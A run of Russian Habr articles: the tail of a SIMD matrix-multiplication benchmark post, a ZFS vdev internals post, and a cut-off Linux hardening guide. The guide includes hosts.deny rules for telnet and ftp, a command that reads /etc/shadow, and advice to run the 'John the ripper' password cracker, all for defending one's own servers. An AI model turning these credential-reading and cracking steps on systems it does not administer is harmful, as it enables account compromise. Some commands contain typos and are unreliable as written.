mm[3] * {n30,n30,n30,n30:n31,n31,n31,n31} // permute<0,0,0,0>(n0n1)
r2r3 =
mm[0] * {n02,n02,n02,n02:n03,n03,n03,n03} + // permute<3,3,3,3>(n2n3)
mm[1] * {n12,n12,n12,n12:n13,n13,n13,n13} + // permute<2,2,2,2>(n2n3)
mm[2] * {n22,n22,n22,n22:n23,n23,n23,n23} + // permute<1,1,1,1>(n2n3)
mm[3] * {n32,n32,n32,n32:n33,n33,n33,n33} // permute<0,0,0,0>(n2n3)
```
Перепишем более наглядно:
```
r0r1 = mm[0]*n0n1<3,3,3,3>+mm[1]*n0n1<2,2,2,2>+mm[2]*n0n1<1,1,1,1>+mm[3]*n0n1<0,0,0,0>
r2r3 = mm[0]*n2n3<3,3,3,3>+mm[1]*n2n3<2,2,2,2>+mm[2]*n2n3<1,1,1,1>+mm[3]*n2n3<0,0,0,0>
```
Или в упрощённом виде:
```
r0r1 = mm[0]*n0n1<3> + mm[1]*n0n1<2> + mm[2]*n0n1<1> + mm[3]*n0n1<0>
r2r3 = mm[0]*n2n3<3> + mm[1]*n2n3<2> + mm[2]*n2n3<1> + mm[3]*n2n3<0>
```
Вроде всё ясно.
**Осталось лишь написать реализацию**
```
void mul_mtx4_mtx4_avx_v1(__m128* const r, __m128 const* const m, __m128 const* const n) {
__m256 mm0 = _mm256_set_m128(m[0], m[0]);
__m256 mm1 = _mm256_set_m128(m[1], m[1]);
__m256 mm2 = _mm256_set_m128(m[2], m[2]);
__m256 mm3 = _mm256_set_m128(m[3], m[3]);
__m256 n0n1 = _mm256_load_ps(&n[0].m128_f32[0]);
__m256 y1 = _mm256_permute_ps(n0n1, 0xFF);//3,3,3,3
__m256 y2 = _mm256_permute_ps(n0n1, 0xAA);//2,2,2,2
__m256 y3 = _mm256_permute_ps(n0n1, 0x55);//1,1,1,1
__m256 y4 = _mm256_permute_ps(n0n1, 0x00);//0,0,0,0
y1 = _mm256_mul_ps(y1, mm0);
y2 = _mm256_mul_ps(y2, mm1);
y3 = _mm256_mul_ps(y3, mm2);
y4 = _mm256_mul_ps(y4, mm3);
y1 = _mm256_add_ps(y1, y2);
y3 = _mm256_add_ps(y3, y4);
y1 = _mm256_add_ps(y1, y3);
__m256 n2n3 = _mm256_load_ps(&n[2].m128_f32[0]);
__m256 y5 = _mm256_permute_ps(n2n3, 0xFF);
__m256 y6 = _mm256_permute_ps(n2n3, 0xAA);
__m256 y7 = _mm256_permute_ps(n2n3, 0x55);
__m256 y8 = _mm256_permute_ps(n2n3, 0x00);
y5 = _mm256_mul_ps(y5, mm0);
y6 = _mm256_mul_ps(y6, mm1);
y7 = _mm256_mul_ps(y7, mm2);
y8 = _mm256_mul_ps(y8, mm3);
y5 = _mm256_add_ps(y5, y6);
y7 = _mm256_add_ps(y7, y8);
y5 = _mm256_add_ps(y5, y7);
_mm256_stream_ps(&r[0].m128_f32[0], y1);
_mm256_stream_ps(&r[2].m128_f32[0], y5);
}
```
Вот уже интересные цифры от IACA: *x86 — 12.53, x64 — 12*. Хотя, конечно, хотелось получше. Что-то упустили.
### AVX оптимизация плюс «синтаксический сахар»
Похоже в коде выше AVX использовался не на полную мощь. Находим, что вместо установки двух одинаковых строк в регистр **ymm** можно задействовать *broadcast*, который умеет заполнять регистр *ymm* двумя одинаковыми значениями *xmm*. Также попутно добавим немного «синтаксического сахара» для AVX функций.
**Улучшенная AVX реализация**
```
__m256 operator + (__m256 const a, __m256 const b) { return _mm256_add_ps(a, b); }
__m256 operator - (__m256 const a, __m256 const b) { return _mm256_sub_ps(a, b); }
__m256 operator * (__m256 const a, __m256 const b) { return _mm256_mul_ps(a, b); }
__m256 operator / (__m256 const a, __m256 const b) { return _mm256_div_ps(a, b); }
template \_\_m256 perm(\_\_m256 const v)
{ return \_mm256\_permute\_ps(v, \_MM\_SHUFFLE(i, i, i, i)); }
template \_\_m256 perm(\_\_m256 const v)
{ return \_mm256\_permute\_ps(v, \_MM\_SHUFFLE(a, b, c, d)); }
template \_\_m256 perm(\_\_m256 const v)
{ return \_mm256\_permutevar\_ps(v, \_mm256\_set\_epi32(i, i, i, i, j, j, j, j)); }
template \_\_m256 perm(\_\_m256 const v)
{ return \_mm256\_permutevar\_ps(v, \_mm256\_set\_epi32(a, b, c, d, e, f, g, h)); }
\_\_m256 mad(\_\_m256 const a, \_\_m256 const b, \_\_m256 const c) {
return \_mm256\_add\_ps(\_mm256\_mul\_ps(a, b), c);
}
void mul\_mtx4\_mtx4\_avx\_v2(\_\_m128\* const r, \_\_m128 const\* const m, \_\_m128 const\* const n) {
\_\_m256 const mm[] {
\_mm256\_broadcast\_ps(m+0),
\_mm256\_broadcast\_ps(m+1),
\_mm256\_broadcast\_ps(m+2),
\_mm256\_broadcast\_ps(m+3)
};
\_\_m256 const n0n1 = \_mm256\_load\_ps(&n[0].m128\_f32[0]);
\_mm256\_stream\_ps(&r[0].m128\_f32[0],
mad(perm<3>(n0n1), mm[0], perm<2>(n0n1)\*mm[1])+
mad(perm<1>(n0n1), mm[2], perm<0>(n0n1)\*mm[3]));
\_\_m256 const n2n3 = \_mm256\_load\_ps(&n[2].m128\_f32[0]);
\_mm256\_stream\_ps(&r[2].m128\_f32[0],
mad(perm<3>(n2n3), mm[0], perm<2>(n2n3)\*mm[1])+
mad(perm<1>(n2n3), mm[2], perm<0>(n2n3)\*mm[3]));
}
```
А вот тут результаты уже интереснее. IACA выдаёт цифры: *x86 — 10, x64 — 8.58*, что выглядит существенно лучше, но всё же не в 2 раза.
### AVX+FMA вариант (финальный)
Сделаем ещё одну попытку. Теперь было бы логичным снова вспомнить про набор инструкций FMA, поскольку он был добавлен в процессоры уже после AVX. Просто меняем отдельные *mul+add* на одну операцию. Хотя инструкцию умножения мы всё равно задействуем, чтобы дать компилятору больше возможностей для оптимизации, а процессору для параллельного выполнения умножений. Обычно я смотрю генерируемый код на ассемблере, чтобы убедиться какой вариант лучше.
В данном случае нам требуется вычислить *a\*b + c\*d + e\*f + g\*h*. Можно сделать это в лоб: *fma(a, b, fma(c, d, fma(e, f, g \* h)))*. Но, как мы видим, здесь нельзя выполнить одну операцию, не завершив предыдущую. А это значит, что мы не сможем задействовать возможность делать спаренные умножения, как это позволяет нам SIMD конвейер. Если мы немного преобразуем вычисления *fma(a, b, c \* d) + fma(e, f, g \* h)*, то увидим, что можно распараллелить вычисления. Сначала сделать два независимых умножения, а потом две независимые *fma* операции.
**AVX+FMA реализация**
```
__m256 fma(__m256 const a, __m256 const b, __m256 const c) {
return _mm256_fmadd_ps(a, b, c);
}
void mul_mtx4_mtx4_avx_fma(__m128* const r, __m128 const* const m, __m128 const* const n) {
__m256 const mm[]{
_mm256_broadcast_ps(m + 0),
_mm256_broadcast_ps(m + 1),
_mm256_broadcast_ps(m + 2),
_mm256_broadcast_ps(m + 3) };
__m256 const n0n1 = _mm256_load_ps(&n[0].m128_f32[0]);
_mm256_stream_ps(&r[0].m128_f32[0],
fma(perm<3>(n0n1), mm[0], perm<2>(n0n1)*mm[1])+
fma(perm<1>(n0n1), mm[2], perm<0>(n0n1)*mm[3]));
__m256 const n2n3 = _mm256_load_ps(&n[2].m128_f32[0]);
_mm256_stream_ps(&r[2].m128_f32[0],
fma(perm<3>(n2n3), mm[0], perm<2>(n2n3)*mm[1])+
fma(perm<1>(n2n3), mm[2], perm<0>(n2n3)*mm[3]));
}
```
IACA: *x86 — 9.21, x64 — 8*. Вот теперь совсем хорошо. Наверное, кто-то скажет, что можно сделать ещё лучше, но я уже не знаю, как.
Benchmarks
----------
Сразу отмечу, что эти цифры не стоит воспринимать как истину в последней инстанции. Даже при зафиксированном тесте они плавают в некоторых пределах. И уж тем более ведут себя по разному на разных платформах. При любой оптимизации делайте замеры конкретно для вашего случая.
#### Содержание таблицы
* Function: название функции. Окончание на **s** — функции со стримингом, иначе обычный mov (без стриминга). Добавил для наглядности, так как это достаточно важно.
* IACA cycles: количество тактов на функцию вычисленное IACA
* Measured cycles: замеренное количество тактов (чем меньше, тем лучше)
* IACA speedup: количество тактов в нулевой строке / количество тактов в строке
* Measured speedup: количество тактов в нулевой строке / количество тактов в строке (чем больше, тем лучше)
Для loop\_m такты из статьи были умножены на 64. То есть это сильно примерное значение. По факту так и оказалось.
### i3-3770:
**x86**
| Function | IACA cycles | Measured cycles | IACA speedup | Measured speedup |
| --- | --- | --- | --- | --- |
| unroll\_m | 70.00 | 50.75 | 1.00 | 1.00 |
| loop\_m | 233.60 | 119.21 | 0.30 | 0.43 |
| sse\_v1m | 18.89 | 27.51 | 3.70 | 1.84 |
| sse\_v2m | 19.00 | 27.61 | 3.68 | 1.84 |
| sse\_v3m | 18.89 | 27.22 | 3.70 | 1.86 |
| sse\_v4s | 18.89 | 27.18 | 3.70 | 1.87 |
| avx\_v1m | 13.00 | 19.21 | 5.38 | 2.64 |
| avx\_v1s | 13.00 | 20.03 | 5.38 | 2.53 |
| avx\_v2m | 10.00 | 12.91 | 6.99 | 3.93 |
| avx\_v2s | 10.00 | 17.34 | 6.99 | 2.93 |
**x64**
| Function | IACA cycles | Measured cycles | IACA speedup | Measured speedup |
| --- | --- | --- | --- | --- |
| unroll\_m | 70 | 68.60 | 1.00 | 1.00 |
| loop\_m | 233.60 | 119.37 | 0.30 | 0.57 |
| sse\_v1m | 18.89 | 21.98 | 3.70 | 3.12 |
| sse\_v2m | 19.00 | 21.09 | 3.68 | 3.25 |
| sse\_v3m | 18.89 | 22.19 | 3.70 | 3.09 |
| sse\_v4s | 18.89 | 22.39 | 3.70 | 3.06 |
| avx\_v1m | 13.00 | 9.61 | 5.38 | 7.13 |
| avx\_v1s | 13.00 | 16.90 | 5.38 | 4.06 |
| avx\_v2m | 10.00 | 9.20 | 6.99 | 7.45 |
| avx\_v2s | 10.00 | 14.64 | 6.99 | 4.68 |
### i7-8700K:
**x86**
| Function | IACA cycles | Measured cycles | IACA speedup | Measured speedup |
| --- | --- | --- | --- | --- |
| unroll\_m | 69.95 | 40.25 | 1.00 | 1.00 |
| loop\_m | 233.60 | 79.49 | 0.30 | 0.51 |
| sse\_v1m | 18.89 | 19.31 | 3.70 | 2.09 |
| sse\_v2m | 19.00 | 19.98 | 3.68 | 2.01 |
| sse\_v3m | 18.89 | 19.69 | 3.70 | 2.04 |
| sse\_v4s | 18.89 | 19.67 | 3.70 | 2.05 |
| avx\_v1m | 13.00 | 14.22 | 5.38 | 2.83 |
| avx\_v1s | 13.00 | 14.13 | 5.38 | 2.85 |
| avx\_v2m | 10.00 | 11.73 | 6.99 | 3.43 |
| avx\_v2s | 10.00 | 11.81 | 6.99 | 3.41 |
| AVX+FMAm | 9.21 | 10.38 | 7.60 | 3.88 |
| AVX+FMAs | 9.21 | 10.32 | 7.60 | 3.90 |
**x64**
| Function | IACA cycles | Measured cycles | IACA speedup | Measured speedup |
| --- | --- | --- | --- | --- |
| unroll\_m | 69.95 | 57.11 | 1.00 | 1.00 |
| loop\_m | 233.60 | 75.73 | 0.30 | 0.75 |
| sse\_v1m | 18.89 | 15.83 | 3.70 | 3.61 |
| sse\_v2m | 19.00 | 17.22 | 3.68 | 3.32 |
| sse\_v3m | 18.89 | 15.92 | 3.70 | 3.59 |
| sse\_v4s | 18.89 | 16.18 | 3.70 | 3.53 |
| avx\_v1m | 13.00 | 7.03 | 5.38 | 8.12 |
| avx\_v1s | 13.00 | 12.98 | 5.38 | 4.40 |
| avx\_v2m | 10.00 | 5.40 | 6.99 | 10.57 |
| avx\_v2s | 10.00 | 11.39 | 6.99 | 5.01 |
| AVX+FMAm | 9.21 | 9.73 | 7.60 | 5.87 |
| AVX+FMAs | 9.21 | 9.81 | 7.60 | 5.82 |
Код тестов в исходниках. Если есть обоснованные предложения как их улучшить, пишите в комментариях.
BONUS из области фантастики
---------------------------
Собственно, из области фантастики он потому, что если я и видел процессоры с поддержкой AVX512, то разве что на картинках. Тем не менее, я попытался реализовать алгоритм. Тут я ничего пояснять не буду, полная аналогия с AVX+FMA. Алгоритм тот же, только операций меньше.
**Как говорится, я просто оставлю это здесь**
```
__m512 operator + (__m512 const a, __m512 const b) { return _mm512_add_ps(a, b); }
__m512 operator - (__m512 const a, __m512 const b) { return _mm512_sub_ps(a, b); }
__m512 operator * (__m512 const a, __m512 const b) { return _mm512_mul_ps(a, b); }
__m512 operator / (__m512 const a, __m512 const b) { return _mm512_div_ps(a, b); }
template \_\_m512 perm(\_\_m512 const v)
{ return \_mm512\_permute\_ps(v, \_MM\_SHUFFLE(i, i, i, i)); }
template \_\_m512 perm(\_\_m512 const v)
{ return \_mm512\_permute\_ps(v, \_MM\_SHUFFLE(a, b, c, d)); }
\_\_m512 fma(\_\_m512 const a, \_\_m512 const b, \_\_m512 const c) {
return \_mm512\_fmadd\_ps(a, b, c);
}
void mul\_mtx4\_mtx4\_avx512(\_\_m128\* const r, \_\_m128 const\* const m, \_\_m128 const\* const \_n) {
\_\_m512 const mm[]{
\_mm512\_broadcast\_f32x4(m[0]),
\_mm512\_broadcast\_f32x4(m[1]),
\_mm512\_broadcast\_f32x4(m[2]),
\_mm512\_broadcast\_f32x4(m[3]) };
\_\_m512 const n = \_mm512\_load\_ps(&\_n[0].m128\_f32[0]);
\_mm512\_stream\_ps(&r[0].m128\_f32[0],
fma(perm<3>(n), mm[0], perm<2>(n)\*mm[1])+
fma(perm<1>(n), mm[2], perm<0>(n)\*mm[3]));
}
```
Цифры фантастические: *x86 — 4.79, x64 — 5.42* (IACA с архитектурой SKX). Это притом, что в алгоритме 64 умножения и 48 сложений.
P.S. Код из статьи
------------------
<https://github.com/truthfinder/mul_m4_m4>
Это мой первый опыт в написании статьей. Всем большое спасибо за комментарии. Они помогают сделать код и статью лучше. | https://habr.com/ru/post/418247/ | null | ru | null |
# Как работает ZFS — часть 1: vdev
Vdev, или Virtual Device — это базовая единица, на которой строится массив данных ZFS (zpool). Для работы ZFS необходим как минимум один vdev — виртуальное устройство, которое позволяет случайный доступ к информации на уровне блоков.
Обычно, в качестве таких блоков используются целые диски или iScsi/FC LUNы (raw-disk vdev), но можно также использовать разделы дисков или файлы. Целые диски предпочтительнее, так как для них ZFS использует onboard write cache, в результате чего производительность записи может значительно улучшиться. *Я пока не буду объяснять разницу между logical vdev и leaf vdev — это топик для отдельной статьи про то как работает RaidzN и zfs mirror.*
> [src.illumos.org/source/xref/illumos-gate/usr/src/uts/common/fs/zfs/vdev\_disk.c#314](http://src.illumos.org/source/xref/illumos-gate/usr/src/uts/common/fs/zfs/vdev_disk.c#314)
> ```
> if (vd->vdev_wholedisk == 1)
> {
> int wce = 1;
> /*
> * If we own the whole disk, try to enable disk write caching.
> * We ignore errors because it's OK if we can't do it.
> */
> (void) ldi_ioctl(dvd->vd_lh, DKIOCSETWCE, (intptr_t)&wce, FKIOCTL, kcred, NULL);
> }
>
> ```
>
В описании [структуры](http://src.illumos.org/source/xref/illumos-gate/usr/src/uts/common/fs/zfs/sys/vdev_impl.h#112) виртуального устройства можно посмотреть какие параметры используются для чего, но я не собираюсь давать объяснение каждому — цель статьи — описание собственно того как ZFS хранит и пишет данные.
Каждый vdev разделен на логические разделы (metaslab), которые создаются автоматически при добавлении диска в ZFS Pool. Количество таких разделов зависит от размера vdev — примерно 200 разделов, но реально может быть и <128, и >256.
> [src.illumos.org/source/xref/illumos-gate/usr/src/uts/common/fs/zfs/vdev.c#1552](http://src.illumos.org/source/xref/illumos-gate/usr/src/uts/common/fs/zfs/vdev.c#1552)
> ```
> void
> vdev_metaslab_set_size(vdev_t *vd)
> {
> /*
> * Aim for roughly 200 metaslabs per vdev.
> */
> vd->vdev_ms_shift = highbit(vd->vdev_asize / 200);
> vd->vdev_ms_shift = MAX(vd->vdev_ms_shift, SPA_MAXBLOCKSHIFT);
> }
>
> ```
>
Далее, внутри каждого metaslab'a есть так называемая карта места — space map. Она, как и большинство структур в ZFS, сделана на базе [AVL-дерева](http://ru.wikipedia.org/wiki/%D0%90%D0%92%D0%9B-%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE), и позволяет эффективно работать с блоками занятого и свободного места независимо от размера блока и его места внутри metaslab'a.
Вот небольшой пример того, как ZFS видит эту структуру, используя ````
zdb -mmm - тут показаны 20 сегментов первого metaslab'a первого vdev'a в моем массиве:
Metaslabs:
vdev 0
metaslabs 323 offset spacemap free
--------------- ------------------- --------------- -------------
metaslab 0 offset 0 spacemap 34 free 84.8M
segments 72 maxsize 24.9M freepct 16%
....
[ 73] A range: 001f00ba00-001ffffa00 size: ff4000
[ 74] A range: 001eff8200-001f00ae00 size: 012c00
[ 75] A range: 001b091200-001b130200 size: 09f000
[ 76] A range: 0012a84e00-0013a84e00 size: 1000000
[ 77] A range: 0013a84e00-00141bb800 size: 736a00
[ 78] A range: 0006b88000-0007707200 size: b7f200
[ 79] FREE: txg 9153385, pass 1
[ 80] F range: 0000282000-0000283200 size: 001200
[ 81] F range: 0000b47200-0000b48600 size: 001400
[ 82] ALLOC: txg 9252698, pass 1
[ 83] A range: 0000282000-0000283a00 size: 001a00
[ 84] A range: 0000b47200-0000b48e00 size: 001c00
[ 85] A range: 00008e6e00-00008e8a00 size: 001c00
[ 86] FREE: txg 9279297, pass 2
[ 87] F range: 00008e9000-00008e9c00 size: 000c00
[ 88] FREE: txg 9328122, pass 2
[ 89] F range: 0010a7be00-0010a7c800 size: 000a00
[ 90] FREE: txg 9444756, pass 1
[ 91] F range: 0009b14200-000ab14200 size: 1000000
[ 92] F range: 000ab14200-000b402000 size: 8ede00
....
```
Здесь заметно, что карта не сортирует сегменты по адресам блоков, размерам, и не пытается дефрагментировать свободное место на разделе. К сожалению, в ZFS полностью отсутствует возможность дефрагментации чего-либо вообще - это один из минусов использования бинарных деревьев и Copy-on-write принципа. Дефрагментировать ZFS - очень нетривиальная задача, и пока остается невозможной для большинства случаев.
Минимальный размер блока в space map - 512 байт (0х200), максимальный - 16МБ (0х1000000). Свободное место в space map не учитывается для блоков, которые никогда не были использованы, но учитывается для блоков которые когда-то были записаны, а потом удалены.
При записи в какой-либо конкретный metaslab составляется еще одна "карта" свободного места, free map, из которой берутся подходящие участки полностью свободного места, в которое можно записать данные последовательно, не тратя время на disk seek. В предыдущем примере видно, что всего у меня 84МБ "free" места в данном разделе, но самый большой непрерывный свободный участок - 24.9МБ "maxfree".
Один из последних шагов в ZFS write pipeline - это собственно определить, куда записать новые данные, что (надеюсь) будет топиком следующего поста про metaslab allocator.
Поскольку это первая статья в серии, приветствуются комментарии про состав - нужно ли больше примеров исходного кода для нетривиальных параграфов, как воспринимается сам текст, и т. д.` | https://habr.com/ru/post/160943/ | null | ru | null |
# Как обезопасить Linux-систему: 10 советов
На ежегодной конференции LinuxCon в 2015 году создатель ядра GNU/Linux Линус Торвальдс поделился своим мнением по поводу безопасности системы. Он подчеркнул необходимость смягчения эффекта от наличия тех или иных багов грамотной защитой, чтобы при нарушении работы одного компонента следующий слой перекрывал проблему.
В этом материале мы постараемся раскрыть эту тему с практической точки зрения:
[](https://habrahabr.ru/company/1cloud/blog/309696/)
*/ фото [Dave Allen](https://www.flickr.com/photos/28687188@N05/9182179611/) [CC](https://creativecommons.org/licenses/by/2.0/)*
* начнём с предварительной настройки и рекомендаций по выбору и установке дистрибутивов Linux;
* затем расскажем о простом и действенном пункте защиты — обновлении системы безопасности;
* далее рассмотрим, как настроить ограничения для программ и пользователей;
* как обезопасить соединение с сервером через SSH;
* приведём примеры настройки firewall и ограничения нежелательного трафика;
* в заключительной части объясним, как отключить ненужные программы и сервисы, как дополнительно оградить серверы от злоумышленников.
### 1. Настроить среду предзагрузки до установки Linux
Позаботиться о безопасности системы нужно ещё перед установкой Linux. Вот набор рекомендаций для настройки компьютера, которые стоит учесть и выполнить до установки операционной системы:
* Загрузка в режиме UEFI (не legacy BIOS – о нем подраздел ниже)
* Установить пароль на настройку UEFI
* Активировать режим SecureBoot
* Установить пароль на уровне UEFI для загрузки системы
### 2. Выбрать подходящий дистрибутив Linux
Скорее всего, вы выберете популярные дистрибутивы — Fedora, Ubuntu, Arch, Debian, или другие близкие ответвления. В любом случае, вам нужно учитывать обязательное наличие этих функций:
* Поддержка принудительного (MAC) и ролевого контроля доступа (RBAC): SELinux/AppArmor/GrSecurity
* Публикация бюллетеней безопасности
* Регулярный выпуск обновлений безопасности
* Криптографическая верификация пакетов
* Поддержка UEFI и SecureBoot
* Поддержка полного нативного шифрования диска
**Рекомендации по установке дистрибутивов**
Все дистрибутивы отличаются, но существуют моменты, на которые обязательно стоит обратить внимание и выполнить:
* Использовать полное шифрование диска (LUKS) с надёжной ключевой фразой
* Процесс подкачки страниц должен быть зашифрован
* Установить пароль для редактирования boot-загрузчика
* Надёжный пароль на root-доступ
* Использовать аккаунт без привилегий, относящийся к группе администраторов
* Установить для пользователя надёжный пароль, отличный от пароля на root
### 3. Настроить автоматические обновления безопасности
Один из основных способов обеспечить безопасность операционной системы — обновлять программное обеспечение. Обновления часто исправляют найденные баги и критические уязвимости.
В случае с серверными системами есть риск возникновения сбоев во время обновления, но, по нашему мнению, проблемы можно свести к минимуму, если автоматически устанавливать только [обновление](https://1cloud.ru/help/linux/linux_security_basics) безопасности.
Автообновление работает исключительно для установленных из репозиториев, а не скомпилированных самостоятельно пакетов:
* В Debian/Ubuntu для обновлений используется пакет unattended upgrades
* В CentOS для автообновления используется yum-cron
* В Fedora для этих целей есть dnf-automatic
Для обновления используйте любой из доступных RPM-менеджеров пакетов командами:
```
yum update
```
или
```
apt-get update && apt-get upgrade
```
Linux можно настроить на отправку оповещений о новых обновлениях по электронной почте.
Также для поддержания безопасности в ядре Linux есть [защитные расширения](http://www.cyberciti.biz/tips/linux-security.html), например, SELinux. Такое расширение поможет сберечь систему от неправильно настроенных или опасных программ.
SELinux — это гибкая система принудительного контроля доступа, которая может работать одновременно с избирательной системой контроля доступа. Запущенные программы получают права на доступ к файлам, сокетам и прочим процессам, и SELinux устанавливает ограничения так, чтобы вредные приложения не смогли сломать систему.
### 4. Ограничить доступ к внешним системам
Следующий после обновления способ защиты — [ограничить доступ](http://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/security.html) к внешним сервисам. Для этого нужно отредактировать файлы /etc/hosts.allow и /etc/hosts.deny.
Вот пример того, как ограничить доступ к telnet и ftp:
В файле /etc/hosts.allow:
```
hosts.allow
in.telnetd: 123.12.41., 126.27.18., .mydomain.name, .another.name
in.ftpd: 123.12.41., 126.27.18., .mydomain.name, .another.name
```
Пример сверху позволит выполнять telnet и ftp соединения любому хосту в IP-классах 123.12.41.\* и 126.27.18.\*, а также хосту с доменами mydomain.name и another.name.
Далее в файле /etc/hosts.deny':
```
hosts.deny
in.telnetd: ALL
in.ftpd: ALL
```
**Добавление пользователя с ограниченными правами**
Мы [не рекомендуем](https://1cloud.ru/help/linux/linux_security_basics) подключаться к серверу от имени пользователя root — он имеет права на выполнение любых команд, даже критических для системы. Поэтому лучше создать пользователя с ограниченными правами и работать через него. Администрирование можно выполнять через sudo (substitute user and do) — это временное повышение прав до уровня администратора.
Как создать нового пользователя:
*В Debian и Ubuntu:*
Создайте пользователя, заменив administrator на желаемое имя и укажите пароль в ответ на соответствующий запрос. Вводимые символы пароля не отображаются в командной строке:
```
adduser administrator
```
Добавьте пользователя в группу sudo:
```
adduser administrator sudo
```
Теперь вы можете использовать префикс sudo при выполнении команд, требующих прав администратора, например:
```
sudo apt-get install htop
```
*В CentOS и Fedora:*
Создайте пользователя, заменив administrator на желаемое имя, и создайте пароль для его аккаунта:
```
useradd adminstrator && passwd administrator
```
Добавьте пользователя в группу wheel для передачи ему прав sudo:
```
usermod –aG wheel administrator
```
Используйте только сильные пароли — минимум из 8 букв разного регистра, цифр и других специальных знаков. Для поиска слабых паролей среди пользователей вашего сервера используйте утилиты как «John the ripper», измените настройки в файле pam\_cracklib.so, чтобы пароли устанавливались принудительно.
Установите период устаревания паролей командой chage:
```
chage -M 60 -m 7 -W 7 ИмяПользователя
```
Отключить устаревание паролей можно командой:
```
chage -M 99999 ИмяПользователя
```
Узнать, когда пароль пользователя устареет:
```
chage -l ИмяПользователя
```
Также вы можете отредактировать поля в файле /etc/shadow:
```
{ИмяПользователя}:{password}:{lastpasswdchanged}:{Minimum_days}:{Maximum_days}:{Warn}:{Inactive}:{Expire}:
```
где,
* Minimum\_days: Минимальное количество дней до истечения действия пароля.
* Maximum\_days: Максимальное количество дней до истечения пароля.
* Warn: Количество дней перед истечением, когда пользователь будет предупреждён о приближающемся дне смены.
* Expire: Точная дата истечения действия логина.
Также стоит ограничить переиспользование старых паролей в модуле pam\_unix.so и установить предельное количество неудачных попыток входа пользователя.
Чтобы узнать количество неудачных попыток входа:
```
faillog
```
Разблокировать аккаунт после неудачного входа:
```
faillog -r -u ИмяПользователя
```
Для блокирования и разблокирования аккаунтов можно использовать команду passwd:
```
lock account
passwd -l ИмяПользователя
```
```
unlocak account
passwd -u ИмяПользователя
```
Убедиться, что у всех пользователей установлены пароли, можно командой:
```
awk -F: '($2 == "") {print}' /etc/shadow
```
Заблокировать пользователей без паролей:
```
passwd -l ИмяПользователя
```
Проследите, чтобы параметр UID был установлен на 0 только для root-аккаунта. Введите эту команду, чтобы посмотреть всех пользователей с равному 0 UID.
```
awk -F: '($3 == "0") {print}' /etc/passwd
```
Вы должны увидеть только:
```
root:x:0:0:root:/root:/bin/bash
```
Если появятся и другие строки, то проверьте, устанавливали ли вы для них UID на 0, ненужные строки удалите.
### 5. Настроить права доступа для пользователей
После установки паролей стоит убедиться, что все пользователи имеют доступ, соответствующий их рангу и ответственности. В Linux можно устанавливать права доступа на файлы и директории. Так появляется возможность создавать и контролировать различные уровни доступа для разных пользователей.
**Категории доступа**
Linux основана на работе с несколькими пользователями, поэтому каждый файл принадлежит одному конкретному пользователю. Даже если сервер администрирует один человек, для различных программ создаются несколько аккаунтов.
Просмотреть пользователей в системе можно командой:
```
cat /etc/passwd
```
Файл /etc/passwd содержит строку для каждого пользователя операционной системы. Под сервисы и приложения могут создаваться отдельные пользователи, которые также будут присутствовать в этом файле.
Помимо отдельных аккаунтов существует категория доступа для групп. Каждый файл принадлежит одной группе. Один пользователь может принадлежать к нескольким группам.
Посмотреть группы, к которым принадлежит ваш аккаунт, можно командой:
```
groups
```
Вывести список всех групп в системе, где первое поле означает название группы:
```
cat /etc/group
```
Существует категория доступа «прочие», если пользователь не имеет доступа к файлу и не принадлежит к группа.
**Типы доступа**
Для категорий пользователей есть возможность устанавливать типы доступа. Обычно это права на запуск, чтение и изменение файла. В Linux типы доступа помечаются с помощью двух видов нотаций: алфавитной и восьмеричной.
В алфавитной нотации разрешения отмечены буквами:
> r = чтение
>
> w = изменение
>
> x = запуск
В восьмеричной нотации уровень доступа к файлам определяется числами от 0 до 7, где 0 означает отсутствие доступа, а 7 означает полный доступ на изменение, чтение и выполнение:
> 4 = чтение
>
> 2 = изменение
>
> 1 = запуск
### 6. Использовать ключи для соединения по SSH
Для подключения к хосту по SSH обычно используется аутентификация по паролю. Мы [рекомендуем](https://1cloud.ru/help/linux/linux_security_basics) более безопасный способ — вход по паре криптографических ключей. В таком случае закрытый ключ используется вместо пароля, что серьёзно усложнит подбор грубой силой (brute-force).
Для примера создадим пару ключей. Действия нужно выполнять на локальном компьютере, а не на удалённом сервере. В процессе создания ключей вы можете указать пароль для доступа к ним. Если оставите это поле пустым, то не сможете использовать созданные ключи до сохранения их в keychain-менеджер компьютера.
Если вы уже создавали RSA ключи ранее, то пропустите команду генерации. Для проверки cуществующих ключей запустите:
```
ls ~/.ssh/id_rsa*
```
Для генерации новых ключей:
```
ssh-keygen –b 4096
```
**Загрузка публичного ключа на сервер**
Замените administrator на имя владельца ключа, а 1.1.1.1 на ip-адрес вашего сервера. С локального компьютера введите:
```
ssh-copy-id administrator@1.1.1.1
```
Чтобы проверить соединение, отключитесь и заново подключитесь к серверу — вход должен происходить по созданным ключам.
**Настройка SSH**
Вы можете запретить подключаться через SSH от имени root-пользователя, а для получения прав администратора использовать sudo в начале команды. На сервере в файле /etc/ssh/sshd\_config нужно найти параметр PermitRootLogin и установить его значение на no.
Вы также можете запретить SSH-подключение по вводу пароля, чтобы все пользователи использовали ключи. В файле /etc/ssh/sshd\_config укажите для параметра PasswordAuthentification значение no. Если этой строки нет или она закомментирована, то соответственно добавьте или разкомментируйте её.
В Debian или Ubuntu можно ввести:
```
nano /etc/ssh/sshd_config
...
PasswordAuthentication no
```
Подключение можно также дополнительно обезопасить с помощью [двухфакторной аутентификации](http://changelog.complete.org/archives/9707-easily-improving-linux-security-with-two-factor-authentication).
### 7. Установить сетевые экраны
Недавно была [обнаружена](http://www.theregister.co.uk/2016/08/10/linux_tor_users_open_corrupted_communications/) новая уязвимость, позволяющая проводить DDoS-атаки на сервера под управлением Linux. Баг в ядре системы появился с версии 3.6 в конце 2012 года. Уязвимость даёт возможность хакерам внедрять вирусы в файлы загрузки, веб-страницы и раскрывать Tor-соединения, причём для взлома не нужно прилагать много усилий — сработает метод IP-спуфинга.
Максимум вреда для зашифрованных соединений HTTPS или SSH — прерывание соединения, а вот в незащищённый трафик злоумышленник может поместить новое содержимое, в том числе вредоносные программы. Для защиты от подобных атак подойдёт firewall.
**Блокировать доступ с помощью Firewall**
Firewall — это один из самых важных инструментов блокирования нежелательного входящего трафика. Мы [рекомендуем](https://1cloud.ru/help/linux/linux_security_basics) пропускать только действительно нужный трафик и полностью запретить весь остальной.
Для фильтрации пакетов в большинстве дистрибутивов Linux есть контроллер iptables. Обычно им пользуются опытные пользователи, а для упрощённой настройки можно использовать утилиты UFW в Debian/Ubuntu или FirewallD в Fedora.
### 8. Отключить ненужные сервисы
